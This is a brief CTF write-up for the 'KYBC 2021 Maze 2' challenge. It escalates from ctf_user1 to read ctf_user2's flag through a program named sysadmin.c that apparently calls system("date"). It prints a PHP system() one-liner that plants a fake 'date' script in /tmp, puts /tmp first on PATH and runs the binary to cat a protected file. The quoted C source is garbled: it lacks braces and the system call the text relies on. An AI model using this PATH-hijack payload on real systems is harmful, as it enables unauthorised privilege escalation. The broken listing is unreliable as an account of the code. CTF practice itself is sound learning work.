KYBC 2021 - Maze 2 Writeup

In order to start this challenge it was necessary to complete Maze 1 first

After catching the first flag, let's check what's in home/ctf_user2. There is a flag file, but this time concatenating it doesn't work since the current user (ctf_user1) doesn't have read permissions to it. The only other interesting thing is a file called sysadmin.c. Permissions are in my favor this time, so let's have a look at the content:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)

    printf("Hello sysadmin :) \n");
    printf("Today date : \n");
    setreuid(geteuid(), getuid());
    return 0;

That system("date") call looks promising, so let's try to replace it with some useful bash statement instead:

<?php system('echo "cat /home/ctf_user2/.52942ab6e8a6dd0bd75a9029c2b5c574_flag2.txt" > /tmp/date && chmod 777 /tmp/date && export PATH=/tmp:$PATH && /home/ctf_user2/sysadmin'); ?>

Check the proc file and catch the flag - success!

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